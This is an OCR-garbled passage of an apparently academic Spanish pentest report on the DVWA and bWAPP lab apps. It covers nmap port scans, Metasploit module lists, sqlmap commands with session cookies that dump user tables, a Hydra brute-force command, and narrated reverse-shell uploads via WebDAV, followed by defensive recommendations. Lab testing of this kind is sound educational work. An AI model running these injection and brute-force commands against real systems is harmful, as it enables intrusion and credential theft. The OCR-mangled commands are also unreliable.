sesion  administrador, insertando | privilegio de console y realizar acciones de
fichero malicioso administrador.

Tabla 35: Analisis de los niveles de seguridad — Insecure WebDav configuration

Interpretacion: Obtencidn de informacidn de relevante del servidor web
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EJECUCION RESULTADO

BAJO » Crear fichero malicioso » Crear archivo
» Subir el fichero por cadaver » Mostrar contenido de archivos
» Y ejecutar comandos para eliminar » Eliminar
archivos
MEDIO » Buscar cddigo malicioso reverse_shell » Eliminar archivos
» Subir el codigo por cadaver » Encontrar el archivo
» Ejecutar el archivo para realizar el config.inic.php
reverse_shell
» Tomar control del servidor y buscar
archivos o eliminar

Tabla 36: Resultados de los niveles de seguridad — Insecure WebDav configuration

5.8. ESCANEO DE PUERTOS
Anélisis: El escaneo de puertos realizado al sistema objeto dio como resultado el hallazgo
sobre los servicios que esta ofreciendo el entorno web. Por lo tanto, el escaneo sirve para

conocer los estados de los puertos, detectar y explotar aquellos servicios vulnerables.

| | PUERTO | SERVICIO USO VULNERABILIDAD

21 FTP Sirve para trasferir datos al Cross-Site-Scripting
sistema central y asi mismo Fuerza Bruta
entre dos sistema de extremo a
extremo

DVWA | 22 SSH Sirve para conectar maquina Fuerza Bruta

por medio de linea de comandos

80 HTTP Sirve para realizar peticiones de Ataque DDoS
datos y de recursos

3306 MYSQL Sirve para almacenar y acceder Injection SQL

a los datos a través de diversos
motores de almacenamiento
Tabla 37: Andlisis de puertos — Vulnerabilidades — DVWA

Interpretacion: Se halld 5 puertos abiertos en el escaneo de realizado con la herramienta
NMAP con su respectivo servicio

nmap 192.168.1.105 'PORT | STATE | SERVICE

| 2lhep OPEN FTP
DVWA 22/tcp OPEN SSH

80/tcp OPEN HTTP
443/tcp OPEN SSL/HTTP

3306 OPEN MYSQL

Tabla 38: Resultados de escaneo de la direccion ip en la herramienta Nmap - DVWA
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Analisis: El escaneo de puertos realizado al sistema objeto dio como resultado el hallazgo

sobre los servicios que esta ofreciendo el entorno web. Por lo tanto, el escaneo sirve para

conocer los estados de los puertos, detectar y explotar aquellos servicios vulnerables.

PUERTO ' SERVICIO | ~ VULNERABILIDAD |

BWAPP

FTP ' Sirve para trasferir datos al | Cross-Site-Scripting |
sistema central y asi mismo Fuerza Bruta
entre dos sistema de extremo a
extremo
22 SSH Sirve para conectar maquina Fuerza Bruta
por medio de linea de
comandos
25 SMTP Sirve para enviar y recibir Inyeccion de correo
correos electrénico Ataque DDoS
80 HTTP Sirve para realizar peticiones Ataque DDoS
de datos y de recursos
139 NETBIOS- | Sirve para que las aplicaciones Ataque DrDos
SSN de diferentes+ computadores
se comunique dentro de la red
3306 MYSQL Sirve para almacenar y acceder Injection SQL
a los datos a través de diversos
motores de almacenamiento
5901 VNC -1 Sirve para ver el escritorio de Fallos y denegacion de

un sistema a través de la red en
otro equipo

Servicio

Tabla 39: Andlisis de puertos — Vulnerabilidades - BWAPP

Interpretacion: Se hallé 17 puertos abiertos en el escaneo de puerto realizado con la

herramienta NMAP con su respectivo servicio.

nmap 192.168.1.14 PORT STATE SERVICE

BWAPP

21/tcp OPEN FTP

22/tcp OPEN SSH

25/tcp OPEN SMTP

80/tcp OPEN HTTP

139/tcp OPEN NETBIOS-SSN
443/tcp OPEN HTTPS

445/tcp OPEN MICROSOFT -DS
512/tcp OPEN EXEC

513/tcp OPEN LOGIN

514/tcp OPEN SHELL
666/tcp OPEN DOOM
3306/tcp OPEN MYSQL
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5901/tcp OPEN VNC -1
6001/tcp OPEN X11:1
8080/tcp OPEN HTTP-PROXY
8443/tcp OPEN HTTPS-ALT
9080/tcp OPEN GLRPC

Tabla 40: Resultados de escafiero de la direccion ip en la herramienta Nmap - BWAPP

5.9. VERSION DE LOS PROTOCOLOS DEL SISTEMA

Anélisis: El escaneo de puertos realizado al sistema objeto dio como resultado el hallazgo
sobre los servicios que esta ofreciendo el entorno web. Por lo tanto, el escaneo sirve para
conocer los estados de los puertos, detectar y explotar aquellos servicios vulnerables. Tanto

el puerto 21,22,80,3306 cuentan con punto débil para ejecutar metasexplotable posible.

PUERTO EXPLOIT
21 FTP auxiliary/scanner/ftp/ftp_login
22 SSH auxiliary/scanner/ssh/ssh_login
DVWA 80 HTTP auxiliary/scanner/http/http_version
3306 MYSQL auxiliary/scanner/mysgl/mysql_login

Tabla 41: Andlisis de puertos — Exploits - DVWA

Interpretacion: Se hallé 5 puertos abiertos en el escaneo de puerto realizado con la

herramienta NMAP con sus respetivos servicios y versiones

Nmap —sS —sV 192.168.1.14 | PORT STATE SERVICE

21/tcp OPEN FTP ProFTPD 1.3.2C
22/tcp OPEN SSH OpenSSH  5.3pl
Debian
80/tcp OPEN HTTP Apache httpd 2.2.14
DVWA 443/tcp | OPEN SSL/HTTP Apache httpd 2.2.14
3306/tcp | OPEN MYSQL MySQL
(unauthorized)

Tabla 42: Resultados de escaneo de puertos en la herramienta Nmap - DVWA

Analisis: El escaneo de puerto realizado al sistema objeto dio como resultado el hallazgo
sobre los servicios que esta ofreciendo el entorno web. Por lo tanto, el escaneo sirve para
conocer los estados de los puertos, detectar y explotar aquellos servicios vulnerables. Tanto
el puerto 21,22,25,80,139,445,3306 cuentan con punto débil para ejecutar metasexplotable

posible.
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EXPLOIT

PUERTO NOMBRE

BWAPP

21 FTP auxiliary/scanner/ftp/ftp_login
22 SSH auxiliary/scanner/ssh/ssh_login
25 SMTP auxirialy/scanner/smtp/smtp_login
80 HTTP auxiliary/scanner/http/http_version
139 NETBIOS-SSN auxiliary/scanner/smb/smb_version
445 MICROSOFT -DS exploit/multi/usermap_script
3306 MYSQL auxiliary/scanner/mysgl/mysql_login

Tabla 43: Anélisis de puertos — Explotis - BWAPP

Interpretacion: Se hallé 17 puertos abiertos en el escaneo de puerto realizado con la

herramienta NMAP con sus respetivos servicios y versiones

|| PORT | ST/ :

21/tcp OPEN FTP ProFTPD 1.3.1
22/tcp OPEN | SSH OpenSSH 4.7pl
25/tcp OPEN | SMTP Postfix smtp
80/tcp OPEN | HTTP Apache http 2.2.8
139/tcp | OPEN | NETBIOS-SSN Samba smbd 3.X — 4.X
443/tcp | OPEN | HTTPS Apache httpd 2.2.8

BWAPP 445/tcp | OPEN | MICROSOFT -DS | Samba smbd 3.X —4.X
512/tcp | OPEN | EXEC Netkit —rsh rexecd
513/tcp | OPEN | LOGIN
514/tcp OPEN SHELL
666/tcp |  OPEN | DOOM
3306/tcp | OPEN | MYSQL MYSQL 5.0.96-Oubuntu3
5901/tcp | OPEN | VNC-1 VNC (protocol 3.8)
6001/tcp | OPEN | X11:1 (Access denied)
8080/tcp | OPEN | HTTP-PROXY Nginx 1.4.0
8443/tcp | OPEN HTTPS-ALT Nginx 1.4.0
9080/tcp | OPEN | GLRPC Lighttpd 1.4.19

Tabla 44: Resultados de escaneo de puerto en la herramienta Nmap - BWAPP

5.10. INFORMACION DEL MOTOR DE BASE DE DATOS

Analisis: Para la recuperacion relevante de la base de datos del sistema objeto, se vio

influenciado al método de uso para recopilar la mayor informacion posible. Otra forma de

conocer datos con mas detalle de la base de datos, es la inyeccion SQL mediante la

herramienta SQLMAP, permite conocer la database, entidades, atributos, copia de resguardo

de datos de una tabla especifico mediante comandos de ayuda con informacion recolectada
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para el ataque. Hallazgo de la cookie, data de usuario, entre otros, evadiendo el mecanismo

de seguridad nivel bajo

Interpretacion: Con la informacion requerida obtenida de la cookie y el nivel de seguridad,
el dato suficiente para ejercer el ataque en la herramienta SQLMAP presentando a
continuacion los resultados encontrados en la fase POST-EXPLOTACION.

COMANDOS RESULTADOS

sqlmap -u » dvwa
“http://192.168.1.14/dvwa/vulnerabilities/sqli/?id=11&Submit=Submit” » Information_schema
—cookie ="PHPSESSID=0n2ph3tvsathtn9nub2107dqq2; security=low”
—dbs
sqlmap -u » guestbook
“http://192.168.1.14/dvwa/vulnerabilities/sali/?id=11&Submit=Submit” » users
—cookie ="PHPSESSID=0n2ph3tvsafhtn9nub2107dqq2; security=low”
-D dvwa —tables

» user

» avatar
sqlmap -u » failed_login
“http://192.168.1.14/dvwa/vulnerabilities/sqli/?id=11&Submit=Submit” » first_name
—cookie ="PHPSESSID=0n2ph3tvsafhtn9nub2107dqq2; security=low” » last_logi
—-D dvwa —T users —columns » last_name

» password

> user_id

Tabla 45: Analisis de comandos SQLMAP - DVWA
Copia de datos de la tabla users con dump

Comando : sglmap —u “http://192.168.1.14/dvwa/vulnerabilities/sgli/?id=11&Submit=Submit” —

cookie ="PHPSESSID=0n2ph3tvsathtn9nub2107dqq2; security=low” —D dvwa —T users —C “user,
avatar, first_name, last_name, password, user_id —dump

user Avatar first_name ‘ last_name ‘ password | user_id
admin | /dvwa/hackeable/users/adming.jpg | Admin Admin | Password 1
gordonb | /dvwa/hackeable/users/gordonb.jpg | Gordon Brown abc123 2

1337 /dvwa/hackeable/users/1337.jpg Hack Me charley 3
pablo /dvwa/hackeable/users/panlo.jpg Pablo Picasso letmein 4
smithy | /dvwa/hackeable/users/smithy.jpg Bob Smith | password 5

Tabla 46: Resultados de hallazgos con la herramienta SQLMAP — DVWA
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http://192.168.1.14/dvwa/vulnerabilities/sqli/?id=11&Submit=Submit

ENTORNO BWAPP

Analisis: Para la recuperacion relevante de la base de datos del sistema objeto, se vio
influenciado al método de uso para recopilar la mayor informacion posible. Otra forma de
conocer datos con mas detalle de la base de datos, es la inyeccion SQL mediante la
herramienta SQLMAP, permite conocer la database, entidades, atributos, copia de resguardo
de datos de una tabla especifico mediante comandos de ayuda con informacion recolectada
para el ataque. Hallazgo de la cookie, data de usuario, entre otros, evadiendo el mecanismo

de seguridad nivel bajo

Interpretacion: Con la informacidn requerida obtenida de la cookie y el nivel de seguridad,
el dato suficiente para ejercer el ataque en la herramienta SQLMAP presentando a
continuacion los resultados encontrados en la fase POST-EXPLOTACION.

COMANDOS RESULTADOS

» bWAPP
sqlmap —u http://192.168.1.12/bWAPP/sgli_1.php?title=sal — > drupageddon
cookie="PHPSESSID=2a809¢3870fh993482ec74c5ab585649e; > Information schema
security_level=0" —dbs. » mysql -

>

> blog

> héroes
Sqlmap —u http://192.168.1.12/bWAPP/sgli_1.php?title=sql -- > movies
cookie="PHPSESSID=a809¢3870fb993482ec74c5ab585649¢; > UsSers
security _level=0” -D bWAPP --tables > visitors

» activated

» activation_code
Sqlmap —u http://192.168.1.12/bWAPP/sqli 1.php?title=sql -- » admin
cookie="PHPSESSID=2a809¢3870fb993482ec74c5ab585649e; > email
security_level=0” —-D bWAPP —T users --columns > id

» login

» password

» resert_code

> secre

Tabla 47: Analisis de comandos SQLMAP - BWAPP
Copia de datos de la tabla users con dump

Comando: sqlmap —u “http://192.168.12/bWAPP/sqli_1.php?title=sgl --cookie="
PHPSESSID=a809c3870fh993482ec74c5ab585649¢; security level=0 —D Bwapp —T users
—C “id, login, password” —dump
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“ login | Password

1 A.l.LM | Bug
2 Bee Bug
3 ZAP | ZAP
Tabla 48: Resultados de hallazgos con la herramienta SQLMAP - BWAPP

5.11. ELEVACION DE PRIVILEGIO POR REVERSE_SHELL PARA ACCEDER
A UN SERVICIO POR CODIGO MALICIOSO

ENTORNO BWAPP

Analisis: La escala de privilegio a un sistema representa como resultado proporcionar los
permisos de autorizacién al atacante sobrepasando lo concebido inicialmente. Uno primer
analisis es conocer los puertos en estado open y saber qué tipo de vulnerabilidad explotar de
acuerdo a su version, de ahi ejercer una técnica de insercidn, ejecutar y acceder. El
debilitamiento del puerto WebDav que ejercer la tarea de almacenar, editar, mover archivos
compartidos al servidor web, es punto clave para dar insercion de codigo malicioso php y

ejercer reverse_shell

Interpretacion: La ejecucion del codigo malicioso en el sistema objeto permite recolectar
informacion valiosa, y a su vez ejercer la autorizacion de crear, modificar, o eliminar
cualquier archivo. Como resultado se halld la informacién de la configuracion del entorno y

conocer data importante

RESULTADO
Archivo config.inic.php

» db_server =127.0.0.1 » db_password=pass
» db_database= dvwa > db_port=3306
» db_user=user

ENTORNO DVWA

Analisis: La escala de privilegio a un sistema representa como resultado proporcionar los
permisos de autorizacion al atacante sobrepasando lo concebido inicialmente. Uno primer
analisis es conocer los puertos en estado open y saber qué tipo de vulnerabilidad explotar de

acuerdo a su version, de ahi ejercer una técnica de insercion, ejecutar y acceder. La insercion
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en el apartado File Upload muestra como debilidad la falta de validacion de los tipos de
formatos anexados al servidor, por ende, la incorporacion de insercion malicioso como
imagen, cddigo, es suscitado sin problema alguno, para asi compromete el sistema. Se realiza

el reverse_shell tras ejecutar el codigo en el servidor web.

Interpretacion: La ejecucion del cddigo malicioso en el sistema objeto permite recolectar
informacién valiosa, y a su vez ejercer la autorizacion de crear, modificar, o eliminar
cualquier archivo. Como resultado se hall6 la informacion de la configuracion del entorno y

conocer data importante.

RESULTADO
Archivo config.inic.php

» db_server = localhost » db_password = bug
» db_username= root » db_name = Bwapp

Credenciales de administrador

» login=bee
» password=bug

Data base sqlite
» db_sqlite = “db/bwapp.sqlite
SMTP settings

» smtp_sender=bwapp@mailinator.com
» smtp_recipent=bwapp|mailinator.com

5.12. OBTENCION DE CREDENCIALES

Andlisis: El hallazgo de credenciales mediante ataque de fuerza constituye emplear técnicas
gue combinen un conjunto de atributos para cumplir el objetivo de descubrir las credenciales
potenciales del sistema objeto. Existen herramientas y técnicas que permiten emplear de
mejor forma el ataque y que se necesita analizar para conseguir la informacion necesaria para

efectuar la accion.
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INFORMACION REQUERIDA

HYDRA Lista de usuario

Lista de contrasefias

Direccion Ip

Método de consulta (Get/Post)
Login de sesion

Cuerpo de solicitud

Manejo de error de autenticacion

VVVYVYVYVYVY

Lista de usuario

Lista de contrasefias

Login de sesion

Payloads de ataques

Manejo de error de autenticacion

BURP SUITE

YVVVYY

Tabla 49: Andlisis de herramientas para obtencidn de credenciales

Interpretacion: La ejecucion del ataque en los dos entornos vrtaules dio como resultado la

obtencion de credenciales potentes e importantes, usarario y password

HERRAMIENTA ATAQUE RESULTADO

DVWA HYDRA Hydra —L /home/kali/user.txt —P Username=
/home/kali/Downloads/contrasefias.txt admin
127.0.0.1 http-post-form Password=
‘/vulnerabilities/brute/?username= password

AUSERM&password="PASS"&L ogin=

Login:Username and/or password incorrect’

BWAPP BURP SUITE - cluser bomb Username= bee

- payloads username, password Password= bug

- insertar los diccionarios en options

- Colocar el mensaje de error de
autentcacion

- Start Attack

Tabla 50: Resultados de credenciales de administrador de los entornos vulnerables

6. OBSERVACIONES
A continuacion, una lista de criterios obtenidos con las pruebas ejecutadas en los diversos

escenarios disefiados de las técnicas de ciberseguridad:

e El resultado del ataque INJECTION SQL, muestra que la inyeccion por consulta y
por la herramienta SQLMAP tienen efectividad a través de la recoleccidn necesaria
de datos para la inyeccion en los tres niveles de complejidad, debido a la falta de

seguridad de la conectividad de la base de datos, la solicitud de ingreso de parametros
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y la seguridad de la cookie. Permitiendo asi ejercer el robo de las credenciales de

usuarios, saber las tablas, columnas, entre otro dato importante.

El resultado de ataque Cross-Site-Scripting, muestra la efectividad en los tres niveles
de seguridad, ya sea insertar el script en el codigo fuente como en la direccion GET,
debido a la debilidad de seguridad en estos apartados, se da apertura robar las cookies

del aplicativo sin problema alguno.

Entre los resultados del ataque de fuerza bruta, se muestra mucha la efectividad en
los tres niveles de seguridad en los escenarios de prueba, brute force, captcha
bypassing, insecure forms login, debido que cuentan con debilidad de seguridad de
credenciales y falla de almacenamientos de datos en los sistemas informaticos. Para
dar la apertura de robar las credenciales de administrador o usuario que cuente

potencial de acceso a un sistema o servicio del aplicativo.

Entre los resultados obtenidos durante el ataque de denegacion de servicio, se
determind que el nivel de seguridad que cuenta el servidor web que aloja el sitio no
cuenta con proteccion de estos ataques, por ende, la saturacion del entorno es
eminente por la grande cantidad de peticiones que se receptan y no son adquiridas por
un buen balanceo de carga o herramienta que desarrolle una anti-denegacién de

servicio

Entre los resultados de ataque al protocolo FTP y Protocolo WebDav que anexan
acciones similares para almacenar, editar y mover archivo sobre el servidor del
sistema. Se determin6 como la insercion de fichero malicioso y de codigo malicioso
invaden los mecanismos de seguridad para tener privilegio sobre el sistema como
modo “administrador”. Por ende, la proteccion de datos, verificacion de archivos y la
autorizacion de archivos andmalos, es escaso por lo cualquier robo de informacion es

enemente.
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Entre los resultados de escaneo de puertos. Se determind que a través del analisis por
la herramienta nmap, ciertos puertos no deben prevalecer en modo open, porque
existe el peligro de comprometer el servicio y provocar debilidad para ejercer
explotacion de vulnerabilidad por versiones, tipos de ataques comunes, o intrusion de

exploit entre los mas ejercido en el arte de hacking ético.

7. RECOMENDACIONES

A continuacion, se presentan unos criterios de recomendaciones sobre los hallazgos

encontrado en los disefios de prueba:

Deben estar en modo open solo los puertos 80,44,3306, debido que son los servicios
que administran todo el entorno web del sistema y el resto deben estar cerrados para
evitar vulnerabilidades por la ejecucion de exploit relacionado a los servicios en

comun

Emplear buen manejo de procesos sobre la base de datos, parametrizando consultas,

utilizar procedimientos almacenados, limitar privilegios

Se debe establecer la buena codificacion segura para evitar las malas préacticas de
disefio o légica de programacion antes de enviar el producto a produccion

Realizar validacion de entradas para que cualquier caracter de factor malicioso, que
sea analizado y su validacion no sea pasada en alto, y el funcionamiento de procesos

ser el adecuado.

Realizar codificacion de salidas efectivas para dar frente a los scripts maliciosos sobre

los formularios
Se debe evidenciar parches de seguridad sobre los servicios y mantener actualizados

los mismos, para no dejar que cualquier desactualizacion provoque fallas y den

apertura a explotacion de vulnerabilidades
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Emplear practicas criptogréaficas para la proteccion de datos gque circulan en el sistema

informatico

Tener un buen tratamiento adecuado sobre los archivos, aquellos tipos de activos de

informacion importante en el sistema

Realizar estandarizacion y reutilizacion de funciones de seguridad

Ejercer un administrador de contrasefia, y buena gestion de las credenciales de usuario

Emplear técnicas de inicio de sesion mediante la utilizacion de token_sesion

Generar URL amigables para proteger la seguridad de directorios y no insertar script

Emplear captcha seguros que no evidencien cambios al intentar ataques de fuerza

bruta

Emplear certificacion seguridad del sitio para no emplear clonacién como uso de

ingenieria social

Emplear herramientas para combatir ataque denegacion de servicios

Aplicar politicas de seguridad de contenido (CSP)

Emplear un conjunto de buenas practicas en base a la ISO 27001 y CIS para el

desarrollo de aplicacion web
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